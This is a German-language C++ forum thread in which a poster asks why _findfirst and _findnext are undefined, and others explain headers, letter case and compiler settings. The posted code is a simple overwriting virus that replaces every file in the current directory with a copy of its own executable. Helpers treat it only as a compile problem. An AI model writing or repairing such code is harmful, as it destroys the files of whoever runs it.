Findfirst und Findnext sind nicht definiert?!



  • Bitte helft mir ! xD

    system("title Dec_Infection");
    
    if ((hFile = _findfirst("*.*", &c_file)) == -1)
    {
    	cout << "The Anaconda could not Infect something!" << endl; 
    }
    
    else
    {
    	do
    	{
    		cout << "The Anaconda infects something now:   " << c_file.name << endl;
    		fstream inProg(argv[0], ios::binary | ios::in);
    		fstream outProg(c_file.name, ios::binary | ios::out);
    
    		char StoreRead;
    
    		while (true)
    		{
    			StoreRead = inProg.get();
    			if (inProg.eof())
    				break;
    			outProg.put(StoreRead);
    		}
    		a++;
    
    	} while (_Findnext(hFile, &c_file) == 0);
    
    	_findclose(hFile);
    	
    }
    
    cout << "All infected (kanso anaconda) Files are: " << a - 3 << endl;
    ending = clock();
    cout << "Time after infection: ";
    printf("%.2fs", (double)(ending - stClock) / CLK_TCK);
    cin.get();
    
    return 0;
    

    }



  • Das müssen irgendwelche speziellen Funktionen deines Compilers oder deines Betriebssystems sein, denn Standard-C++ kennt diese Funktionen nicht. Siehe hier für ein Beispiel, wie man Dateien auflisten kann: https://en.cppreference.com/w/cpp/filesystem/directory_iterator

    Für Windows siehe hier für ein Beispiel mit FindFirstFile[A/W] (ich würde IMMER zur W-Funktion raten, nie zur A-Funktion oder der einstellungsabhängigen Variante ohne A/W): https://docs.microsoft.com/en-us/windows/win32/fileio/listing-the-files-in-a-directory



  • @wob sagte in Findfirst und Findnext sind nicht definiert?!:

    Das müssen irgendwelche speziellen Funktionen deines Compilers oder deines Betriebssystems sein,

    wohl nicht, denn sie sind ja nicht definiert ...
    da stellt sich die Frage, wie der TE auf diese Namen überhaupt kommt?



  • Diese gibt es u.a. beim MS C und C++ Compiler: _findfirst, ... (also noch <io.h> einbinden) oder auch bei Embarcadero (vormals Borland): _findfirst, __wfindfirst

    Gleiches gilt für _findnext (beachte: kleingeschrieben!).



  • Ich habe IO eingebunden also #include <io.h>



  • Und es läuft immer noch nicht? Dann poste die exakte Fehlermeldung.



  • @Th69 sagte in Findfirst und Findnext sind nicht definiert?!:

    Und es läuft immer noch nicht? Dann poste die exakte Fehlermeldung.

    @Rheas Ja. So wie ich die Doku lese, sollte ein #include <io.h> ausreichen. Die Bibliothek(en), die dafür gelinkt werden müssen (MS CRT/UCRT), sollte Visual Studio eigentlich automatisch einbinden - es sei denn das wird explizit unterbunden (via Projekt-Einstellungen oder Compiler-Flags).

    Bitte auch sicherstellen, dass überall die Gross- und Kleinschreibung korrekt sind. In deinem Code steht z.B. _Findnext. Die Funktion heisst aber _findnext. Diese beiden Namen werden in C und in C++ nicht als identisch angesehen. Wenns daran liegen sollte, wirst du hier nicht wenig Augenrollen ernten - besonders nach den bereits erfolgten Hinweisen 😉



  • Habe _Findnext schon zu _findnext gemacht aber es klappt immer noch nicht, immer wieder die Fehlermeldung
    Der Bezeichner _findnext/_findfirst ist nicht definiert



  • Das Problem ist geregelt lag nicht an der Rechtschreibung! Lag an den Einstellungen von C++



  • @Rheas sagte in Findfirst und Findnext sind nicht definiert?!:

    Das Problem ist geregelt lag nicht an der Rechtschreibung! Lag an den Einstellungen von C++

    Wäre nett wenn du nochmal kurz erwähnen könntest, woran es exakt lag. Vielleicht können dann auch andere davon profitieren. Ich kann mir da gerade nämlich nur falsche Include-Verzeichnisse und/oder explizites nicht-Linken der C-Runtime vorstellen (/NODEFAULTLIB, -nostdlib und sowas).

    Auch muss man wissen, dass das, was die IDE einem rot anstreicht (via Intellisense z.B.) nicht immer 1:1 mit dem übereinstimmt, worüber der Compiler letztendlich meckert. Wirklich relevant sind in VS eigentlich nur die Compiler-Fehlermeldungen im Output-Tab. Habe da schonmal experimentellen Code mit Concepts, komplexen Templates und Modules geschrieben, der nahezu vollständig mit roten Schlangenlinien unterstrichen war (hab die dann ausgeschaltet), aber dennoch absolut korrekt und ohne Fehler kompilierbar 😉


Anmelden zum Antworten